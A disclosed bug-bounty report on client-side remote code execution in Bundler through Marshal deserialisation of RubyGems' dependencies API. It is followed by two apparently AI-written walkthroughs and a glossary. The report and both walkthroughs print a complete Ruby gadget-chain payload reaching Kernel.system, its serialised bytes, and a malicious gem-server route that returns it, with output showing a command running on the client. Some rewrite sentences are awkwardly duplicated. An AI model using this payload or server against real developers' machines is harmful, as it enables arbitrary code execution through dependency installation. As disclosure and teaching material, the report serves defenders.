Skip to content
RCE Disclosed report Advanced

Bundler's RCE with response using Marshal

ooooooo_q Follow

Originally disclosed on HackerOne

  • Triaged in 5 hours
  • Fixed in 2.9 years
  • Disclosed after 3.0 years

In GET /api/v1/dependencies, which Bundler uses to check dependencies, the response is Marshal.dump instead of JSON.

https://github.com/rubygems/rubygems.org/blob/a6f78a01598592083850f15e262bbc09a85b0a70/app/controllers/api/v1/dependencies_controller.rb#L12

Ruby
    respond_to do |format|
      format.json { render json: deps }
      format.marshal { render plain: Marshal.dump(deps) }
    end

According to the Universal Deserialisation Gadget for Ruby 2.x-3.x article, Marshal.load can be RCE. Therefore, RCE is possible for the client that receives the specially crafted response.

Poc

Prepare attack code

Prepare code to run date

Ruby
# Universal Deserialisation Gadget for Ruby 2.x-3.x
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "date") # for run `date`

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
❯ ruby create_rce.rb
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"

Prepare evil server

Prepare a server to work on the response. I created it based on geminabox.

Ruby
# geminabox/geminabox/lib/geminabox/server.rb
    get '/api/v1/dependencies' do
      attack = "\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"
      query_gems.any? ? attack : 200
    end
❯ RUBYGEMS_PROXY=true rackup
Puma starting in single mode...
* Puma version: 5.2.2 (ruby 2.7.1-p83) ("Fettisdagsbulle")
*  Min threads: 0
*  Max threads: 5
*  Environment: development
*          PID: 22469
* Listening on http://127.0.0.1:9292
* Listening on http://[::1]:9292

Use evil sever

❯ bundle -v
Bundler version 2.2.13

❯ bundle init

# Use evil server for source
❯ cat Gemfile
# frozen_string_literal: true

# source "https://rubygems.org"
source "http://127.0.0.1:9292"

gem "json"
# `date` runs on the client
❯ bundle install
Fetching gem metadata from http://127.0.0.1:9292/.sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST

Retrying dependency api due to error (2/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST

Retrying dependency api due to error (3/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST

Retrying dependency api due to error (4/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST

Impact

Of course, there is a danger in specifying an untrusted source and in the possibility of a man-in-the-middle attack. This endpoint using marshal increases that risk.

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

RubyGems.org exposes an API endpoint, GET /api/v1/dependencies, that Bundler (the Ruby dependency manager) calls to check gem dependencies. The report points out that this endpoint can answer in Marshal format: the response body is produced with Marshal.dump rather than JSON. Marshal is Ruby's native serialisation format, and loading Marshal data with Marshal.load can lead to remote code execution, as described in the referenced "Universal Deserialisation Gadget for Ruby 2.x-3.x" article. The consequence the researcher draws is that a client which receives a specially crafted response can be made to run code.

The affected code lives in the rubygems.org repository, in the dependencies controller:

Ruby
    respond_to do |format|
      format.json { render json: deps }
      format.marshal { render plain: Marshal.dump(deps) }
    end

The controller offers two representations. The JSON branch returns the dependency data as JSON. The Marshal branch serialises the dependency data with Marshal.dump and sends it as plain text, so any client that negotiates the Marshal format and then deserialises the body is processing attacker-influenced bytes.

Setup

The demonstration uses Bundler 2.2.13 and a local server. The versions shown in the report are:

Component Version
Bundler 2.2.13
Puma 5.2.2
Ruby 2.7.1-p83

The command chosen for demonstration is date.

Finding it

The starting observation is the format.marshal branch shown above: the endpoint does not only speak JSON, it can also return Marshal.dump(deps). Because Marshal.load on untrusted input can be turned into code execution (per the universal gadget article), a response crafted by whoever controls the server can execute code on the machine of the client that loads it. The researcher frames this as an RCE against the client receiving the response, not against the server.

Exploitation

Step 1: Build the attack payload

The researcher writes a Ruby script that assembles the gadget chain and dumps it with Marshal.dump. The script is reproduced exactly as in the report:

Ruby
# Universal Deserialisation Gadget for Ruby 2.x-3.x
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "date") # for run `date`

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect

The important parts:

  1. Gem::SpecFetcher and Gem::Installer are referenced first so the classes are autoloaded and available to the gadget chain.
  2. Gem::Requirement#marshal_dump is overridden to return only [@requirements]. The comment explains why: this prevents the payload from running while the researcher is still calling Marshal.dump on it.
  3. Two Net::WriteAdapter objects are created. The first, wa1, wraps Kernel with the method :system. The second, wa2, wraps a Gem::RequestSet with :resolve.
  4. A Gem::RequestSet is allocated and its @sets is set to wa1, while @git_set is set to the string "date", the command to run.
  5. A Gem::Package::TarReader::Entry is allocated with @read set to 0 and @header set to "aaa".
  6. A Net::BufferedIO is allocated with @io set to that entry and @debug_output set to wa2.
  7. A Gem::Package::TarReader is allocated with @io set to the buffered IO.
  8. A Gem::Requirement is allocated with @requirements set to the tar reader.
  9. The final payload is Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]).

Running the script prints the serialised bytes:

❯ ruby create_rce.rb
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"

This string is the payload that the malicious server will return.

Step 2: Build the malicious server

The researcher prepares a server that answers the dependencies endpoint with the payload. It is based on geminabox, with the route patched as follows:

Ruby
# geminabox/geminabox/lib/geminabox/server.rb
    get '/api/v1/dependencies' do
      attack = "\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"
      query_gems.any? ? attack : 200
    end

The server is started with the proxy setting enabled:

❯ RUBYGEMS_PROXY=true rackup
Puma starting in single mode...
* Puma version: 5.2.2 (ruby 2.7.1-p83) ("Fettisdagsbulle")
*  Min threads: 0
*  Max threads: 5
*  Environment: development
*          PID: 22469
* Listening on http://[redacted]:9292
* Listening on http://[::1]:9292

It listens on port 9292 on localhost.

Step 3: Point Bundler at the malicious server

The client side is a fresh Bundler project. The researcher checks the Bundler version, initialises a project, and edits the Gemfile so that the source is the malicious server instead of rubygems.org:

❯ bundle -v
Bundler version 2.2.13

❯ bundle init

# Use evil server for source
❯ cat Gemfile
# frozen_string_literal: true

# source "https://rubygems.org"
source "http://[redacted]:9292"

gem "json"

The original rubygems.org source line is commented out and replaced with http://[redacted]:9292. The project depends on the json gem.

Step 4: Trigger the deserialisation

Running bundle install makes Bundler fetch gem metadata from the configured source, which is the malicious server. The output shows the command executing on the client:

# `date` runs on the client
❯ bundle install
Fetching gem metadata from http://[redacted]:9292/.sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST

Retrying dependency api due to error (2/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST

Retrying dependency api due to error (3/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST

Retrying dependency api due to error (4/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST

The date output appears on the client, confirming code execution.

Root cause

The endpoint serialises data with Marshal.dump and offers it as a response format. Marshal is not a data-only format: loading it can instantiate arbitrary classes and invoke their methods, so a crafted document can drive a gadget chain to a dangerous sink. In this chain the sink is Kernel.system, reached through the Net::WriteAdapter and Gem::RequestSet objects, with the command string date supplied as @git_set. The client that deserialises the response is the one that runs the code.

Impact

A client that fetches dependency metadata from a server controlled by an attacker, and deserialises the Marshal response, runs the attacker's command. The report is explicit that this is RCE on the client receiving the response.

The researcher also states the conditions plainly: there is already a danger in specifying an untrusted source, and in the possibility of a man-in-the-middle attack. Using Marshal on this endpoint increases that risk. The report says this endpoint using Marshal increases that risk.

Fix

The report does not describe a fix or a change that was made. The report does not describe a fix.

  1. Other endpoints that offer a Marshal representation alongside JSON. A positive result is a response whose body begins with the Marshal version bytes (\x04\x08) and contains class names, which a client will pass to Marshal.load.
  2. Package manager metadata APIs in other ecosystems that return native serialised objects (for example, language-specific binary formats) rather than plain JSON. A positive result is a client that deserialises the body without integrity checks.
  3. Dependency resolution flows where the source URL is user-configurable, such as a Gemfile source line, a mirror setting or a proxy variable. A positive result is the client contacting the attacker's host and processing its response.
  4. Man-in-the-middle positions against plain HTTP sources. A positive result is the client accepting a substituted response body and deserialising it.

This kind of bug tends to hide where a service offers more than one response format and one of them is a native serialisation format. During recon, look for content negotiation branches in controllers, respond_to blocks, Accept header handling and format suffixes, and for any use of Marshal.dump, Marshal.load, YAML.load or similar in the codebase. Client-side code that consumes such responses is equally important: the vulnerable deserialisation often happens in the tool, not the server.

The researcher showed impact by building the full chain end to end: a payload that runs date, a server that returns it from the real endpoint path, and a stock Bundler client pointed at that server, with the command output visible in the bundle install log. That demonstration ties the endpoint's Marshal branch directly to code execution on a client, which is what makes the risk concrete rather than theoretical.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

RubyGems.org is the main public hosting service for Ruby software packages, called gems. Developers do not download gems by hand; a tool called Bundler does it for them. Bundler reads a small file in the project (the Gemfile) that lists which gems the project needs, then talks to a server to find out what those gems depend on, downloads them and installs them.

To ask the server about dependencies, Bundler calls a specific web address: GET /api/v1/dependencies. An API is just a way for one program to talk to another over the web, the same way a web page is a way for a person to talk to a server. The address above is one of the server's doors, and Bundler knocks on it.

The endpoint's controller offers two response formats. One is JSON, a plain text format that only describes data: lists, names, numbers. The other is Marshal, Ruby's own way of turning live objects into bytes so they can be stored or sent. The problem is that reading Marshal bytes back (with a function called Marshal.load) does not just rebuild plain data. It can rebuild Ruby objects and run their methods, and with the right arrangement of objects that means running commands on the machine doing the reading.

So the danger is not on the RubyGems.org server. It is on the client: the computer running Bundler. If an attacker can control what the server sends back, the client can be made to execute the attacker's command. The researcher builds a fake gem server that returns a crafted Marshal response, then points Bundler at it and the command date runs on the client.

The vulnerable code

The affected code lives in the rubygems.org repository, in the controller that handles the dependencies endpoint:

Ruby
    respond_to do |format|
      format.json { render json: deps }
      format.marshal { render plain: Marshal.dump(deps) }
    end

Line by line:

  1. respond_to do |format| tells the web framework: look at what the client asked for, and pick one of the branches below. This is called content negotiation.
  2. format.json { render json: deps } is the harmless branch. If the client wants JSON, send the dependency data (deps) as JSON text.
  3. format.marshal { render plain: Marshal.dump(deps) } is the risky branch. If the client wants Marshal, take the dependency data, turn it into Marshal bytes with Marshal.dump, and send those bytes as plain text.

Marshal.dump is the writing side: it turns objects into bytes. Marshal.load is the reading side: it turns bytes back into objects. The concern is the reading side, which happens on the client.

Why this is dangerous

A linked article, "Universal Deserialisation Gadget for Ruby 2.x-3.x", describes how Marshal.load can lead to remote code execution (RCE), meaning an attacker gets their own commands run on someone else's machine. The word "gadget" here means a piece of existing code that, when reached in a particular order, does something useful to an attacker. A chain of gadgets is like a row of dominoes: each object triggers the next one, and the last one runs a command.

So the researcher's conclusion is simple: a client that receives a specially crafted response and loads it can be made to run code.

Setting up the demonstration

The researcher works locally with a Ruby toolchain and Bundler. The versions shown in the report are:

Component Version
Bundler 2.2.13
Puma 5.2.2
Ruby 2.7.1-p83

Puma is a web server program for Ruby.

  1. Build a Marshal payload that runs a command when it is loaded.
  2. Serve that payload from a fake gem server that answers the dependencies endpoint.
  3. Point Bundler at that server so it fetches the response and loads it.

The command chosen for the demonstration is date.

Step 1: Build the attack payload

The researcher writes a Ruby script that assembles the gadget chain and dumps it with Marshal.dump. The script is reproduced exactly as in the report:

Ruby
# Universal Deserialisation Gadget for Ruby 2.x-3.x
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "date") # for run `date`

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect

What each part does, in plain words:

  1. Gem::SpecFetcher and Gem::Installer are written on their own lines first. In Ruby, naming a class like this makes Ruby load it if it has not been loaded yet (this is called autoloading). The gadget chain needs these classes to exist, so they are touched first.
  2. The module Gem ... class Requirement ... def marshal_dump block overrides how a Gem::Requirement object is turned into Marshal bytes. The comment says why: without this, the payload would fire while the researcher is still building it, which would run date on the researcher's own machine at the wrong moment. The override makes the dump step return only [@requirements], preventing the payload from running when it is dumped.
  3. wa1 = Net::WriteAdapter.new(Kernel, :system) creates an adapter object that, when it is asked to write, calls system on Kernel. Kernel.system is Ruby's way of running a shell command. This is the final sink, the last domino that actually executes something.
  4. rs = Gem::RequestSet.allocate creates an empty Gem::RequestSet object without running its normal setup. instance_variable_set('@sets', wa1) stores the first adapter inside it, and instance_variable_set('@git_set', "date") stores the command string. The comment # for run date`` marks that this is the command that will run.
  5. wa2 = Net::WriteAdapter.new(rs, :resolve) creates a second adapter that, when written to, calls resolve on the request set. This is the middle domino: it leads into the request set, which leads into wa1, which leads into system.
  6. i = Gem::Package::TarReader::Entry.allocate creates an empty tar-reader entry, with @read set to 0 and @header set to "aaa".
  7. n = Net::BufferedIO.allocate creates a buffered IO object, with @io pointing at the entry and @debug_output pointing at wa2.
  8. t = Gem::Package::TarReader.allocate creates a tar reader whose @io is the buffered IO.
  9. r = Gem::Requirement.allocate creates a requirement object whose @requirements is the tar reader. This is the object that will be placed in the payload.
  10. payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) serialises an array of three things: the two class references and the requirement object. puts payload.inspect prints the bytes in a readable escaped form.

Running the script prints the serialised bytes:

❯ ruby create_rce.rb
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"

This string is the payload that the malicious server will return.

Step 2: Build the malicious server

The researcher prepares a server that answers the dependencies endpoint with the payload. It is based on geminabox, with the route patched as follows:

Ruby
# geminabox/geminabox/lib/geminabox/server.rb
    get '/api/v1/dependencies' do
      attack = "\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve"
      query_gems.any? ? attack : 200
    end

Line by line:

  1. get '/api/v1/dependencies' do registers a handler for the same path the real RubyGems.org uses. When a client asks for that path, this code runs instead of the normal gem server logic.
  2. attack = "..." stores the payload bytes from step 1 in a variable. The escaped form is the same string that the script printed.
  3. query_gems.any? ? attack : 200 is a one-line decision. If the request carries gem query parameters (query_gems.any? is true), return the attack string. Otherwise return the number 200, which in web terms means "OK" with an empty body.

The server is started with the proxy setting enabled:

❯ RUBYGEMS_PROXY=true rackup
Puma starting in single mode...
* Puma version: 5.2.2 (ruby 2.7.1-p83) ("Fettisdagsbulle")
*  Min threads: 0
*  Max threads: 5
*  Environment: development
*          PID: 22469
* Listening on http://[redacted]:9292
* Listening on http://[::1]:9292

rackup is the command that starts a Ruby web application. RUBYGEMS_PROXY=true is an environment variable passed to the program when it starts. The output says Puma is listening on port 9292 on localhost, which is the same machine. [redacted] is the address a computer uses to refer to itself.

Step 3: Point Bundler at the malicious server

The client side is a fresh Bundler project. The researcher checks the Bundler version, initialises a project, and edits the Gemfile so that the source is the malicious server instead of rubygems.org:

❯ bundle -v
Bundler version 2.2.13

❯ bundle init

# Use evil server for source
❯ cat Gemfile
# frozen_string_literal: true

# source "https://rubygems.org"
source "http://[redacted]:9292"

gem "json"

Line by line:

  1. bundle -v prints the Bundler version, confirming it is 2.2.13.
  2. bundle init creates a starter Gemfile in the current folder.
  3. cat Gemfile prints the file so the reader can see the edit. The original rubygems.org source line is commented out with a leading #, and a new line points the source at http://[redacted]:9292, the fake server. The project depends on the json gem.

Step 4: Trigger the deserialisation

Running bundle install makes Bundler fetch gem metadata from the configured source, which is now the malicious server. The output shows the command executing on the client:

# `date` runs on the client
❯ bundle install
Fetching gem metadata from http://[redacted]:9292/.sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST

Retrying dependency api due to error (2/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分43秒 JST

Retrying dependency api due to error (3/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST

Retrying dependency api due to error (4/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String
sh: reading: command not found
2021年 3月 7日 日曜日 15時44分44秒 JST

What the output shows:

  1. Fetching gem metadata from http://[redacted]:9292/ is Bundler contacting the fake server, exactly as it would contact rubygems.org.
  2. The date lines (2021年 3月 7日 日曜日 15時44分43秒 JST) are the output of date, printed on the client. That is the proof: the command ran on the machine running Bundler, not on the server.
  3. Bundler::MarshalError TypeError: no implicit conversion of nil into String is Bundler's own error while processing the response.

Root cause

The endpoint serialises data with Marshal.dump and offers it as a response format. Marshal is not a data-only format: loading it can create arbitrary objects and call their methods, so a crafted document can drive a gadget chain to a dangerous sink. In this chain the sink is Kernel.system, reached through the Net::WriteAdapter and Gem::RequestSet objects, with the command string date supplied as @git_set. The client that loads the response is the one that runs the code.

Impact

A client that fetches dependency metadata from a server controlled by an attacker, and loads the Marshal response, runs the attacker's command. The report is explicit that this is RCE on the client receiving the response.

The researcher also states the conditions plainly: there is already a danger in specifying an untrusted source, and in the possibility of a man-in-the-middle attack. A man-in-the-middle is someone sitting between the client and the server, able to read or change the traffic. Using Marshal on this endpoint increases that risk. The report says this endpoint using Marshal increases that risk.

Fix

The report does not describe a fix or a change that was made. The report does not describe a fix.

  1. Other endpoints that offer a Marshal representation alongside JSON. A positive result is a response whose body begins with the Marshal version bytes (\x04\x08) and contains class names, which a client will pass to Marshal.load.
  2. Package manager metadata APIs in other ecosystems that return native serialised objects (for example, language-specific binary formats) rather than plain JSON. A positive result is a client that loads the body without integrity checks.
  3. Dependency resolution flows where the source URL is user-configurable, such as a Gemfile source line, a mirror setting or a proxy variable. A positive result is the client contacting the attacker's host and processing its response.
  4. Man-in-the-middle positions against plain HTTP sources. A positive result is the client accepting a substituted response body and loading it.

This kind of bug tends to hide where a service offers more than one response format and one of them is a native serialisation format. During recon, look for content negotiation branches in controllers, respond_to blocks, Accept header handling and format suffixes, and for any use of Marshal.dump, Marshal.load, YAML.load or similar in the codebase. Client-side code that consumes such responses is equally important: the vulnerable deserialisation often happens in the tool, not the server.

The researcher showed impact by building the full chain end to end: a payload that runs date, a server that returns it from the real endpoint path, and a stock Bundler client pointed at that server, with the command output visible in the bundle install log. That demonstration ties the endpoint's Marshal branch directly to code execution on a client, which is what makes the risk concrete rather than theoretical.

Glossary

  • API: a defined way for one program to talk to another over a network, usually a set of web addresses and the data formats they accept and return.
  • Bundler: the Ruby tool that reads a project's Gemfile, works out which gems are needed, and downloads and installs them.
  • Client: the program or machine that sends a request and receives a response; here, the computer running Bundler.
  • Content negotiation: the process where a client says which format it wants and the server picks a matching branch.
  • Controller: the part of a web application that receives a request and decides what to send back.
  • Deserialisation: turning stored or transmitted bytes back into live objects or data structures.
  • Endpoint: a specific web address on a server that a client can call.
  • Environment variable: a named setting passed to a program when it starts, outside its own code.
  • Gadget chain: a sequence of existing code objects that, triggered in order, leads to a dangerous action such as running a command.
  • Gem: a packaged piece of Ruby software that can be downloaded and installed.
  • Gemfile: the file in a Ruby project that lists the gems the project needs and where to fetch them from.
  • geminabox: a small Ruby program that acts as a gem server.
  • JSON: a plain text format for data only (lists, names, numbers) that cannot run code when read.
  • localhost: the name a computer uses for itself; [redacted] is its numeric address.
  • Man-in-the-middle: an attacker positioned between a client and a server who can read or alter the traffic.
  • Marshal: Ruby's built-in format for turning objects into bytes and back; loading it can create objects and call their methods.
  • Marshal.dump: the function that turns Ruby objects into Marshal bytes.
  • Marshal.load: the function that turns Marshal bytes back into Ruby objects, and the step that can run code.
  • Payload: the crafted data an attacker sends to trigger a vulnerability.
  • Puma: a web server program for Ruby applications.
  • RCE (remote code execution): a vulnerability that lets an attacker run their own commands on someone else's machine.
  • Recon: the information-gathering phase before testing, where you look for interesting code and behaviour.
  • Serialisation: turning live objects or data into a storable or transmittable form.
  • Sink: the final dangerous operation in a chain, such as running a shell command.
  • Source: in a Gemfile, the server address Bundler fetches gems and metadata from.
  • Kernel.system: Ruby's function for running a shell command.
  • respond_to: a Ruby web framework construct that picks a response branch based on the format the client asked for.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from RubyGems

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.